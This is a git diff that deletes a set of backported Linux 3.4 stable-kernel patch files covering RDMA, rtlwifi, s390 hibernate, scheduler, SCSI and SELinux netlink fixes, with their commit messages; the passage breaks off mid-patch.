a/patches/rdma-cma-canonize-ipv4-on-ipv6-sockets-properly.patch b/patches/rdma-cma-canonize-ipv4-on-ipv6-sockets-properly.patch deleted file mode 100644 index 87731bf..0000000 --- a/patches/rdma-cma-canonize-ipv4-on-ipv6-sockets-properly.patch +++ /dev/null @@ -1,82 +0,0 @@ -From 285214409a9e5fceba2215461b4682b6069d8e77 Mon Sep 17 00:00:00 2001 -From: Jason Gunthorpe <jgunthorpe@obsidianresearch.com> -Date: Mon, 20 Apr 2015 14:01:11 -0600 -Subject: RDMA/CMA: Canonize IPv4 on IPV6 sockets properly - -commit 285214409a9e5fceba2215461b4682b6069d8e77 upstream. - -When accepting a new IPv4 connect to an IPv6 socket, the CMA tries to -canonize the address family to IPv4, but does not properly process -the listening sockaddr to get the listening port, and does not properly -set the address family of the canonized sockaddr. - -Fixes: e51060f08a61 ("IB: IP address based RDMA connection manager") - -Reported-By: Yotam Kenneth <yotamke@mellanox.com> -Signed-off-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com> -Tested-by: Haggai Eran <haggaie@mellanox.com> -Signed-off-by: Doug Ledford <dledford@redhat.com> -[lizf: Backported to 3.4: - - there's no cma_save_ip4_info() and cma_save_ip6_info(), and instead - we apply the changes to cma_save_net_info()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/infiniband/core/cma.c | 27 +++++++++++++++++---------- - 1 file changed, 17 insertions(+), 10 deletions(-) - ---- a/drivers/infiniband/core/cma.c -+++ b/drivers/infiniband/core/cma.c -@@ -759,36 +759,43 @@ static int cma_get_net_info(void *hdr, e - return 0; - } - -+static __be16 ss_get_port(const struct sockaddr_storage *ss) -+{ -+ if (ss->ss_family == AF_INET) -+ return ((struct sockaddr_in *)ss)->sin_port; -+ else if (ss->ss_family == AF_INET6) -+ return ((struct sockaddr_in6 *)ss)->sin6_port; -+ BUG(); -+} -+ - static void cma_save_net_info(struct rdma_addr *addr, - struct rdma_addr *listen_addr, - u8 ip_ver, __be16 port, - union cma_ip_addr *src, union cma_ip_addr *dst) - { -- struct sockaddr_in *listen4, *ip4; -- struct sockaddr_in6 *listen6, *ip6; -+ struct sockaddr_in *ip4; -+ struct sockaddr_in6 *ip6; - - switch (ip_ver) { - case 4: -- listen4 = (struct sockaddr_in *) &listen_addr->src_addr; - ip4 = (struct sockaddr_in *) &addr->src_addr; -- ip4->sin_family = listen4->sin_family; -+ ip4->sin_family = AF_INET;; - ip4->sin_addr.s_addr = dst->ip4.addr; -- ip4->sin_port = listen4->sin_port; -+ ip4->sin_port = ss_get_port(&listen_addr->src_addr); - - ip4 = (struct sockaddr_in *) &addr->dst_addr; -- ip4->sin_family = listen4->sin_family; -+ ip4->sin_family = AF_INET; - ip4->sin_addr.s_addr = src->ip4.addr; - ip4->sin_port = port; - break; - case 6: -- listen6 = (struct sockaddr_in6 *) &listen_addr->src_addr; - ip6 = (struct sockaddr_in6 *) &addr->src_addr; -- ip6->sin6_family = listen6->sin6_family; -+ ip6->sin6_family = AF_INET6; - ip6->sin6_addr = dst->ip6; -- ip6->sin6_port = listen6->sin6_port; -+ ip6->sin6_port = ss_get_port(&listen_addr->src_addr); - - ip6 = (struct sockaddr_in6 *) &addr->dst_addr; -- ip6->sin6_family = listen6->sin6_family; -+ ip6->sin6_family = AF_INET6; - ip6->sin6_addr = src->ip6; - ip6->sin6_port = port; - break; diff --git a/patches/rds-documentation-document-af_rds-pf_rds-and-sol_rds-correctly.patch b/patches/rds-documentation-document-af_rds-pf_rds-and-sol_rds-correctly.patch deleted file mode 100644 index b39e1ce..0000000 --- a/patches/rds-documentation-document-af_rds-pf_rds-and-sol_rds-correctly.patch +++ /dev/null @@ -1,38 +0,0 @@ -From ebe96e641dee2cbd135ee802ae7e40c361640088 Mon Sep 17 00:00:00 2001 -From: Sowmini Varadhan <sowmini.varadhan@oracle.com> -Date: Wed, 8 Apr 2015 12:33:45 -0400 -Subject: RDS: Documentation: Document AF_RDS, PF_RDS and SOL_RDS correctly. - -commit ebe96e641dee2cbd135ee802ae7e40c361640088 upstream. - -AF_RDS, PF_RDS and SOL_RDS are available in header files, -and there is no need to get their values from /proc. Document -this correctly. - -Fixes: 0c5f9b8830aa ("RDS: Documentation") - -Signed-off-by: Sowmini Varadhan <sowmini.varadhan@oracle.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - Documentation/networking/rds.txt | 9 ++++----- - 1 file changed, 4 insertions(+), 5 deletions(-) - ---- a/Documentation/networking/rds.txt -+++ b/Documentation/networking/rds.txt -@@ -62,11 +62,10 @@ Socket Interface - ================ - - AF_RDS, PF_RDS, SOL_RDS -- These constants haven't been assigned yet, because RDS isn't in -- mainline yet. Currently, the kernel module assigns some constant -- and publishes it to user space through two sysctl files -- /proc/sys/net/rds/pf_rds -- /proc/sys/net/rds/sol_rds -+ AF_RDS and PF_RDS are the domain type to be used with socket(2) -+ to create RDS sockets. SOL_RDS is the socket-level to be used -+ with setsockopt(2) and getsockopt(2) for RDS specific socket -+ options. - - fd = socket(PF_RDS, SOCK_SEQPACKET, 0); - This creates a new, unbound RDS socket. diff --git a/patches/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch b/patches/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch deleted file mode 100644 index 2331c40..0000000 --- a/patches/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch +++ /dev/null @@ -1,30 +0,0 @@ -From 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 Mon Sep 17 00:00:00 2001 -From: Wang Long <long.wanglong@huawei.com> -Date: Wed, 10 Jun 2015 08:12:37 +0000 -Subject: ring-buffer-benchmark: Fix the wrong sched_priority of producer - -commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream. - -The producer should be used producer_fifo as its sched_priority, -so correct it. - -Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com - -Signed-off-by: Wang Long <long.wanglong@huawei.com> -Signed-off-by: Steven Rostedt <rostedt@goodmis.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - kernel/trace/ring_buffer_benchmark.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/kernel/trace/ring_buffer_benchmark.c -+++ b/kernel/trace/ring_buffer_benchmark.c -@@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_ - - if (producer_fifo >= 0) { - struct sched_param param = { -- .sched_priority = consumer_fifo -+ .sched_priority = producer_fifo - }; - sched_setscheduler(producer, SCHED_FIFO, ¶m); - } else diff --git a/patches/rtlwifi-rtl8192cu-add-new-usb-id.patch b/patches/rtlwifi-rtl8192cu-add-new-usb-id.patch deleted file mode 100644 index 2d74dba..0000000 --- a/patches/rtlwifi-rtl8192cu-add-new-usb-id.patch +++ /dev/null @@ -1,26 +0,0 @@ -From 2f92b314f4daff2117847ac5343c54d3d041bf78 Mon Sep 17 00:00:00 2001 -From: Larry Finger <Larry.Finger@lwfinger.net> -Date: Mon, 23 Mar 2015 18:14:10 -0500 -Subject: rtlwifi: rtl8192cu: Add new USB ID - -commit 2f92b314f4daff2117847ac5343c54d3d041bf78 upstream. - -USB ID 2001:330d is used for a D-Link DWA-131. - -Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net> -Signed-off-by: Kalle Valo <kvalo@codeaurora.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/net/wireless/rtlwifi/rtl8192cu/sw.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c -+++ b/drivers/net/wireless/rtlwifi/rtl8192cu/sw.c -@@ -357,6 +357,7 @@ static struct usb_device_id rtl8192c_usb - {RTL_USB_DEVICE(0x2001, 0x3307, rtl92cu_hal_cfg)}, /*D-Link-Cameo*/ - {RTL_USB_DEVICE(0x2001, 0x3309, rtl92cu_hal_cfg)}, /*D-Link-Alpha*/ - {RTL_USB_DEVICE(0x2001, 0x330a, rtl92cu_hal_cfg)}, /*D-Link-Alpha*/ -+ {RTL_USB_DEVICE(0x2001, 0x330d, rtl92cu_hal_cfg)}, /*D-Link DWA-131 */ - {RTL_USB_DEVICE(0x2019, 0xab2b, rtl92cu_hal_cfg)}, /*Planex -Abocom*/ - {RTL_USB_DEVICE(0x20f4, 0x624d, rtl92cu_hal_cfg)}, /*TRENDNet*/ - {RTL_USB_DEVICE(0x2357, 0x0100, rtl92cu_hal_cfg)}, /*TP-Link WN8200ND*/ diff --git a/patches/rtlwifi-rtl8192cu-fix-kernel-deadlock.patch b/patches/rtlwifi-rtl8192cu-fix-kernel-deadlock.patch deleted file mode 100644 index ec651ad..0000000 --- a/patches/rtlwifi-rtl8192cu-fix-kernel-deadlock.patch +++ /dev/null @@ -1,36 +0,0 @@ -From 414b7e3b9ce8b0577f613e656fdbc36b34b444dd Mon Sep 17 00:00:00 2001 -From: Larry Finger <Larry.Finger@lwfinger.net> -Date: Fri, 24 Apr 2015 11:03:37 -0500 -Subject: rtlwifi: rtl8192cu: Fix kernel deadlock - -commit 414b7e3b9ce8b0577f613e656fdbc36b34b444dd upstream. - -The USB mini-driver in rtlwifi, which is used by rtl8192cu, issues a call to -usb_control_msg() with a timeout value of 0. In some instances where the -interface is shutting down, this infinite wait results in a CPU deadlock. A -one second timeout fixes this problem without affecting any normal operations. - -This bug is reported at https://bugzilla.novell.com/show_bug.cgi?id=927786. - -Reported-by: Bernhard Wiedemann <bwiedemann@suse.com> -Tested-by: Bernhard Wiedemann <bwiedemann@suse.com> -Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net> -Cc: Bernhard Wiedemann <bwiedemann@suse.com> -Cc: Takashi Iwai<tiwai@suse.com> -Signed-off-by: Kalle Valo <kvalo@codeaurora.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/net/wireless/rtlwifi/usb.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/net/wireless/rtlwifi/usb.c -+++ b/drivers/net/wireless/rtlwifi/usb.c -@@ -119,7 +119,7 @@ static int _usbctrl_vendorreq_sync_read( - - do { - status = usb_control_msg(udev, pipe, request, reqtype, value, -- index, pdata, len, 0); /*max. timeout*/ -+ index, pdata, len, 1000); - if (status < 0) { - /* firmware download is checksumed, don't retry */ - if ((value >= FW_8192C_START_ADDRESS && diff --git a/patches/s390-hibernate-fix-save-and-restore-of-kernel-text-section.patch b/patches/s390-hibernate-fix-save-and-restore-of-kernel-text-section.patch deleted file mode 100644 index 460df8c..0000000 --- a/patches/s390-hibernate-fix-save-and-restore-of-kernel-text-section.patch +++ /dev/null @@ -1,81 +0,0 @@ -From d74419495633493c9cd3f2bbeb7f3529d0edded6 Mon Sep 17 00:00:00 2001 -From: Heiko Carstens <heiko.carstens@de.ibm.com> -Date: Wed, 25 Mar 2015 10:13:33 +0100 -Subject: s390/hibernate: fix save and restore of kernel text section - -commit d74419495633493c9cd3f2bbeb7f3529d0edded6 upstream. - -Sebastian reported a crash caused by a jump label mismatch after resume. -This happens because we do not save the kernel text section during suspend -and therefore also do not restore it during resume, but use the kernel image -that restores the old system. - -This means that after a suspend/resume cycle we lost all modifications done -to the kernel text section. -The reason for this is the pfn_is_nosave() function, which incorrectly -returns that read-only pages don't need to be saved. This is incorrect since -we mark the kernel text section read-only. -We still need to make sure to not save and restore pages contained within -NSS and DCSS segment. -To fix this add an extra case for the kernel text section and only save -those pages if they are not contained within an NSS segment. - -Fixes the following crash (and the above bugs as well): - -Jump label code mismatch at netif_receive_skb_internal+0x28/0xd0 -Found: c0 04 00 00 00 00 -Expected: c0 f4 00 00 00 11 -New: c0 04 00 00 00 00 -Kernel panic - not syncing: Corrupted kernel text -CPU: 0 PID: 9 Comm: migration/0 Not tainted 3.19.0-01975-gb1b096e70f23 #4 -Call Trace: - [<0000000000113972>] show_stack+0x72/0xf0 - [<000000000081f15e>] dump_stack+0x6e/0x90 - [<000000000081c4e8>] panic+0x108/0x2b0 - [<000000000081be64>] jump_label_bug.isra.2+0x104/0x108 - [<0000000000112176>] __jump_label_transform+0x9e/0xd0 - [<00000000001121e6>] __sm_arch_jump_label_transform+0x3e/0x50 - [<00000000001d1136>] multi_cpu_stop+0x12e/0x170 - [<00000000001d1472>] cpu_stopper_thread+0xb2/0x168 - [<000000000015d2ac>] smpboot_thread_fn+0x134/0x1b0 - [<0000000000158baa>] kthread+0x10a/0x110 - [<0000000000824a86>] kernel_thread_starter+0x6/0xc - -Reported-and-tested-by: Sebastian Ott <sebott@linux.vnet.ibm.com> -Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com> -Signed-off-by: Martin Schwidefsky <schwidefsky@de.ibm.com> -[lizf: Backported to 3.4: add necessary includes] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/s390/kernel/suspend.c | 6 ++++++ - 1 file changed, 6 insertions(+) - ---- a/arch/s390/kernel/suspend.c -+++ b/arch/s390/kernel/suspend.c -@@ -9,6 +9,8 @@ - #include <linux/pfn.h> - #include <linux/suspend.h> - #include <linux/mm.h> -+#include <asm/ipl.h> -+#include <asm/sections.h> - #include <asm/ctl_reg.h> - - /* -@@ -137,6 +139,8 @@ int pfn_is_nosave(unsigned long pfn) - { - unsigned long nosave_begin_pfn = PFN_DOWN(__pa(&__nosave_begin)); - unsigned long nosave_end_pfn = PFN_DOWN(__pa(&__nosave_end)); -+ unsigned long eshared_pfn = PFN_DOWN(__pa(&_eshared)) - 1; -+ unsigned long stext_pfn = PFN_DOWN(__pa(&_stext)); - - /* Always save lowcore pages (LC protection might be enabled). */ - if (pfn <= LC_PAGES) -@@ -144,6 +148,8 @@ int pfn_is_nosave(unsigned long pfn) - if (pfn >= nosave_begin_pfn && pfn < nosave_end_pfn) - return 1; - /* Skip memory holes and read-only pages (NSS, DCSS, ...). */ -+ if (pfn >= stext_pfn && pfn <= eshared_pfn) -+ return ipl_info.type == IPL_TYPE_NSS ? 1 : 0; - if (tprot(PFN_PHYS(pfn))) - return 1; - return 0; diff --git a/patches/sched-queue-rt-tasks-to-head-when-prio-drops.patch b/patches/sched-queue-rt-tasks-to-head-when-prio-drops.patch deleted file mode 100644 index d4166bb..0000000 --- a/patches/sched-queue-rt-tasks-to-head-when-prio-drops.patch +++ /dev/null @@ -1,75 +0,0 @@ -From 81a44c5441d7f7d2c3dc9105f4d65ad0d5818617 Mon Sep 17 00:00:00 2001 -From: Thomas Gleixner <tglx@linutronix.de> -Date: Fri, 7 Feb 2014 20:58:41 +0100 -Subject: sched: Queue RT tasks to head when prio drops - -commit 81a44c5441d7f7d2c3dc9105f4d65ad0d5818617 upstream. - -The following scenario does not work correctly: - -Runqueue of CPUx contains two runnable and pinned tasks: - - T1: SCHED_FIFO, prio 80 - T2: SCHED_FIFO, prio 80 - -T1 is on the cpu and executes the following syscalls (classic priority -ceiling scenario): - - sys_sched_setscheduler(pid(T1), SCHED_FIFO, .prio = 90); - ... - sys_sched_setscheduler(pid(T1), SCHED_FIFO, .prio = 80); - ... - -Now T1 gets preempted by T3 (SCHED_FIFO, prio 95). After T3 goes back -to sleep the scheduler picks T2. Surprise! - -The same happens w/o actual preemption when T1 is forced into the -scheduler due to a sporadic NEED_RESCHED event. The scheduler invokes -pick_next_task() which returns T2. So T1 gets preempted and scheduled -out. - -This happens because sched_setscheduler() dequeues T1 from the prio 90 -list and then enqueues it on the tail of the prio 80 list behind T2. -This violates the POSIX spec and surprises user space which relies on -the guarantee that SCHED_FIFO tasks are not scheduled out unless they -give the CPU up voluntarily or are preempted by a higher priority -task. In the latter case the preempted task must get back on the CPU -after the preempting task schedules out again. - -We fixed a similar issue already in commit 60db48c (sched: Queue a -deboosted task to the head of the RT prio queue). The same treatment -is necessary for sched_setscheduler(). So enqueue to head of the prio -bucket list if the priority of the task is lowered. - -It might be possible that existing user space relies on the current -behaviour, but it can be considered highly unlikely due to the corner -case nature of the application scenario. - -Signed-off-by: Thomas Gleixner <tglx@linutronix.de> -Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de> -Signed-off-by: Peter Zijlstra <peterz@infradead.org> -Link: http://lkml.kernel.org/r/1391803122-4425-6-git-send-email-bigeasy@linutronix.de -Signed-off-by: Ingo Molnar <mingo@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - kernel/sched/core.c | 9 +++++++-- - 1 file changed, 7 insertions(+), 2 deletions(-) - ---- a/kernel/sched/core.c -+++ b/kernel/sched/core.c -@@ -4396,8 +4396,13 @@ recheck: - - if (running) - p->sched_class->set_curr_task(rq); -- if (on_rq) -- enqueue_task(rq, p, 0); -+ if (on_rq) { -+ /* -+ * We enqueue to tail when the priority of a task is -+ * increased (user space view). -+ */ -+ enqueue_task(rq, p, oldprio <= p->prio ? ENQUEUE_HEAD : 0); -+ } - - check_class_changed(rq, p, prev_class, oldprio); - task_rq_unlock(rq, p, &flags); diff --git a/patches/scsi-add-1024-max-sectors-black-list-flag.patch b/patches/scsi-add-1024-max-sectors-black-list-flag.patch deleted file mode 100644 index 77659e7..0000000 --- a/patches/scsi-add-1024-max-sectors-black-list-flag.patch +++ /dev/null @@ -1,91 +0,0 @@ -From 35e9a9f93994d7f7d12afa41169c7ba05513721b Mon Sep 17 00:00:00 2001 -From: Mike Christie <michaelc@cs.wisc.edu> -Date: Mon, 20 Apr 2015 22:42:24 -0500 -Subject: SCSI: add 1024 max sectors black list flag - -commit 35e9a9f93994d7f7d12afa41169c7ba05513721b upstream. - -This works around a issue with qnap iscsi targets not handling large IOs -very well. - -The target returns: - -VPD INQUIRY: Block limits page (SBC) - Maximum compare and write length: 1 blocks - Optimal transfer length granularity: 1 blocks - Maximum transfer length: 4294967295 blocks - Optimal transfer length: 4294967295 blocks - Maximum prefetch, xdread, xdwrite transfer length: 0 blocks - Maximum unmap LBA count: 8388607 - Maximum unmap block descriptor count: 1 - Optimal unmap granularity: 16383 - Unmap granularity alignment valid: 0 - Unmap granularity alignment: 0 - Maximum write same length: 0xffffffff blocks - Maximum atomic transfer length: 0 - Atomic alignment: 0 - Atomic transfer length granularity: 0 - -and it is *sometimes* able to handle at least one IO of size up to 8 MB. We -have seen in traces where it will sometimes work, but other times it -looks like it fails and it looks like it returns failures if we send -multiple large IOs sometimes. Also it looks like it can return 2 different -errors. It will sometimes send iscsi reject errors indicating out of -resources or it will send invalid cdb illegal requests check conditions. -And then when it sends iscsi rejects it does not seem to handle retries -when there are command sequence holes, so I could not just add code to -try and gracefully handle that error code. - -The problem is that we do not have a good contact for the company, -so we are not able to determine under what conditions it returns -which error and why it sometimes works. - -So, this patch just adds a new black list flag to set targets like this to -the old max safe sectors of 1024. The max_hw_sectors changes added in 3.19 -caused this regression, so I also ccing stable. - -Reported-by: Christian Hesse <list@eworm.de> -Signed-off-by: Mike Christie <michaelc@cs.wisc.edu> -Reviewed-by: Christoph Hellwig <hch@lst.de> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/scsi_devinfo.c | 1 + - drivers/scsi/scsi_scan.c | 6 ++++++ - include/scsi/scsi_devinfo.h | 1 + - 3 files changed, 8 insertions(+) - ---- a/drivers/scsi/scsi_devinfo.c -+++ b/drivers/scsi/scsi_devinfo.c -@@ -222,6 +222,7 @@ static struct { - {"PIONEER", "CD-ROM DRM-604X", NULL, BLIST_FORCELUN | BLIST_SINGLELUN}, - {"PIONEER", "CD-ROM DRM-624X", NULL, BLIST_FORCELUN | BLIST_SINGLELUN}, - {"Promise", "", NULL, BLIST_SPARSELUN}, -+ {"QNAP", "iSCSI Storage", NULL, BLIST_MAX_1024}, - {"QUANTUM", "XP34301", "1071", BLIST_NOTQ}, - {"REGAL", "CDC-4X", NULL, BLIST_MAX5LUN | BLIST_SINGLELUN}, - {"SanDisk", "ImageMate CF-SD1", NULL, BLIST_FORCELUN}, ---- a/drivers/scsi/scsi_scan.c -+++ b/drivers/scsi/scsi_scan.c -@@ -888,6 +888,12 @@ static int scsi_add_lun(struct scsi_devi - */ - if (*bflags & BLIST_MAX_512) - blk_queue_max_hw_sectors(sdev->request_queue, 512); -+ /* -+ * Max 1024 sector transfer length for targets that report incorrect -+ * max/optimal lengths and relied on the old block layer safe default -+ */ -+ else if (*bflags & BLIST_MAX_1024) -+ blk_queue_max_hw_sectors(sdev->request_queue, 1024); - - /* - * Some devices may not want to have a start command automatically ---- a/include/scsi/scsi_devinfo.h -+++ b/include/scsi/scsi_devinfo.h -@@ -30,4 +30,5 @@ - #define BLIST_RETRY_HWERROR 0x400000 /* retry HARDWARE_ERROR */ - #define BLIST_MAX_512 0x800000 /* maximum 512 sector cdb length */ - #define BLIST_ATTACH_PQ3 0x1000000 /* Scan: Attach to PQ3 devices */ -+#define BLIST_MAX_1024 0x40000000 /* maximum 1024 sector cdb length */ - #endif diff --git a/patches/scsi-storvsc-fix-a-bug-in-copy_from_bounce_buffer.patch b/patches/scsi-storvsc-fix-a-bug-in-copy_from_bounce_buffer.patch deleted file mode 100644 index 281b5fe..0000000 --- a/patches/scsi-storvsc-fix-a-bug-in-copy_from_bounce_buffer.patch +++ /dev/null @@ -1,50 +0,0 @@ -From 8de580742fee8bc34d116f57a20b22b9a5f08403 Mon Sep 17 00:00:00 2001 -From: "K. Y. Srinivasan" <kys@microsoft.com> -Date: Fri, 27 Mar 2015 00:27:18 -0700 -Subject: scsi: storvsc: Fix a bug in copy_from_bounce_buffer() - -commit 8de580742fee8bc34d116f57a20b22b9a5f08403 upstream. - -We may exit this function without properly freeing up the maapings -we may have acquired. Fix the bug. - -Signed-off-by: K. Y. Srinivasan <kys@microsoft.com> -Reviewed-by: Long Li <longli@microsoft.com> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/storvsc_drv.c | 15 ++++++++------- - 1 file changed, 8 insertions(+), 7 deletions(-) - ---- a/drivers/scsi/storvsc_drv.c -+++ b/drivers/scsi/storvsc_drv.c -@@ -610,21 +610,22 @@ static unsigned int copy_to_bounce_buffe - if (bounce_sgl[j].length == PAGE_SIZE) { - /* full..move to next entry */ - sg_kunmap_atomic(bounce_addr); -+ bounce_addr = 0; - j++; -+ } - -- /* if we need to use another bounce buffer */ -- if (srclen || i != orig_sgl_count - 1) -- bounce_addr = sg_kmap_atomic(bounce_sgl,j); -+ /* if we need to use another bounce buffer */ -+ if (srclen && bounce_addr == 0) -+ bounce_addr = sg_kmap_atomic(bounce_sgl, j); - -- } else if (srclen == 0 && i == orig_sgl_count - 1) { -- /* unmap the last bounce that is < PAGE_SIZE */ -- sg_kunmap_atomic(bounce_addr); -- } - } - - sg_kunmap_atomic(src_addr - orig_sgl[i].offset); - } - -+ if (bounce_addr) -+ sg_kunmap_atomic(bounce_addr); -+ - local_irq_restore(flags); - - return total_copied; diff --git a/patches/sd-disable-support-for-256-byte-sector-disks.patch b/patches/sd-disable-support-for-256-byte-sector-disks.patch deleted file mode 100644 index e94d0bc..0000000 --- a/patches/sd-disable-support-for-256-byte-sector-disks.patch +++ /dev/null @@ -1,70 +0,0 @@ -From 74856fbf441929918c49ff262ace9835048e4e6a Mon Sep 17 00:00:00 2001 -From: Mark Hounschell <dmarkh@cfl.rr.com> -Date: Wed, 13 May 2015 10:49:09 +0200 -Subject: sd: Disable support for 256 byte/sector disks - -commit 74856fbf441929918c49ff262ace9835048e4e6a upstream. - -256 bytes per sector support has been broken since 2.6.X, -and no-one stepped up to fix this. -So disable support for it. - -Signed-off-by: Mark Hounschell <dmarkh@cfl.rr.com> -Signed-off-by: Hannes Reinecke <hare@suse.de> -Signed-off-by: James Bottomley <JBottomley@Odin.com> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/scsi/sd.c | 20 ++++++-------------- - 1 file changed, 6 insertions(+), 14 deletions(-) - ---- a/drivers/scsi/sd.c -+++ b/drivers/scsi/sd.c -@@ -1423,6 +1423,7 @@ static unsigned int sd_completed_bytes(s - { - u64 start_lba = blk_rq_pos(scmd->request); - u64 end_lba = blk_rq_pos(scmd->request) + (scsi_bufflen(scmd) / 512); -+ u64 factor = scmd->device->sector_size / 512; - u64 bad_lba; - int info_valid; - /* -@@ -1444,16 +1445,10 @@ static unsigned int sd_completed_bytes(s - if (scsi_bufflen(scmd) <= scmd->device->sector_size) - return 0; - -- if (scmd->device->sector_size < 512) { -- /* only legitimate sector_size here is 256 */ -- start_lba <<= 1; -- end_lba <<= 1; -- } else { -- /* be careful ... don't want any overflows */ -- u64 factor = scmd->device->sector_size / 512; -- do_div(start_lba, factor); -- do_div(end_lba, factor); -- } -+ /* be careful ... don't want any overflows */ -+ factor = scmd->device->sector_size / 512; -+ do_div(start_lba, factor); -+ do_div(end_lba, factor); - - /* The bad lba was reported incorrectly, we have no idea where - * the error is. -@@ -1984,8 +1979,7 @@ got_data: - if (sector_size != 512 && - sector_size != 1024 && - sector_size != 2048 && -- sector_size != 4096 && -- sector_size != 256) { -+ sector_size != 4096) { - sd_printk(KERN_NOTICE, sdkp, "Unsupported sector size %d.\n", - sector_size); - /* -@@ -2034,8 +2028,6 @@ got_data: - sdkp->capacity <<= 2; - else if (sector_size == 1024) - sdkp->capacity <<= 1; -- else if (sector_size == 256) -- sdkp->capacity >>= 1; - - blk_queue_physical_block_size(sdp->request_queue, - sdkp->physical_block_size); diff --git a/patches/selinux-nlmsg-add-xfrm_msg_-new-get-sadinfo.patch b/patches/selinux-nlmsg-add-xfrm_msg_-new-get-sadinfo.patch deleted file mode 100644 index 5d8cafc..0000000 --- a/patches/selinux-nlmsg-add-xfrm_msg_-new-get-sadinfo.patch +++ /dev/null @@ -1,29 +0,0 @@ -From 5b5800fad072133e4a9c2efbf735baaac83dec86 Mon Sep 17 00:00:00 2001 -From: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Date: Wed, 8 Apr 2015 18:36:42 +0200 -Subject: selinux/nlmsg: add XFRM_MSG_[NEW|GET]SADINFO - -commit 5b5800fad072133e4a9c2efbf735baaac83dec86 upstream. - -These commands are missing. - -Fixes: 28d8909bc790 ("[XFRM]: Export SAD info.") -Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - security/selinux/nlmsgtab.c | 2 ++ - 1 file changed, 2 insertions(+) - ---- a/security/selinux/nlmsgtab.c -+++ b/security/selinux/nlmsgtab.c -@@ -100,6 +100,8 @@ static struct nlmsg_perm nlmsg_xfrm_perm - { XFRM_MSG_FLUSHPOLICY, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, -+ { XFRM_MSG_NEWSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, -+ { XFRM_MSG_GETSADINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - }; - diff --git a/patches/selinux-nlmsg-add-xfrm_msg_getspdinfo.patch b/patches/selinux-nlmsg-add-xfrm_msg_getspdinfo.patch deleted file mode 100644 index 9486785..0000000 --- a/patches/selinux-nlmsg-add-xfrm_msg_getspdinfo.patch +++ /dev/null @@ -1,28 +0,0 @@ -From 5e6deebafb45fb271ae6939d48832e920b8fb74e Mon Sep 17 00:00:00 2001 -From: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Date: Wed, 8 Apr 2015 18:36:41 +0200 -Subject: selinux/nlmsg: add XFRM_MSG_GETSPDINFO - -commit 5e6deebafb45fb271ae6939d48832e920b8fb74e upstream. - -This command is missing. - -Fixes: ecfd6b183780 ("[XFRM]: Export SPD info") -Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Signed-off-by: David S. Miller <davem@davemloft.net> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - security/selinux/nlmsgtab.c | 1 + - 1 file changed, 1 insertion(+) - ---- a/security/selinux/nlmsgtab.c -+++ b/security/selinux/nlmsgtab.c -@@ -100,6 +100,7 @@ static struct nlmsg_perm nlmsg_xfrm_perm - { XFRM_MSG_FLUSHPOLICY, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, - { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, -+ { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, - }; - - static struct nlmsg_perm nlmsg_audit_perms[] = diff --git a/patches/selinux-nlmsg-add-xfrm_msg_mapping.patch b/patches/selinux-nlmsg-add-xfrm_msg_mapping.patch deleted file mode 100644 index 2249611..0000000 --- a/patches/selinux-nlmsg-add-xfrm_msg_mapping.patch +++ /dev/null @@ -1,29 +0,0 @@ -From bd2cba07381a6dba60bc1c87ed8b37931d244da1 Mon Sep 17 00:00:00 2001 -From: Nicolas Dichtel <nicolas.dichtel@6wind.com> -Date: Fri, 10 Apr 2015 16:24:28 +0200 -Subject: selinux/nlmsg: add XFRM_MSG_MAPPING - -commit bd2cba07381a6dba60bc1c87ed8b37931d244da1 upstream. - -This command is missing. - -Fixes: 3a2dfbe8acb1 ("xfrm: Notify changes in UDP encapsulation via netlink") -CC: Martin Willi <martin@strongswan.org> 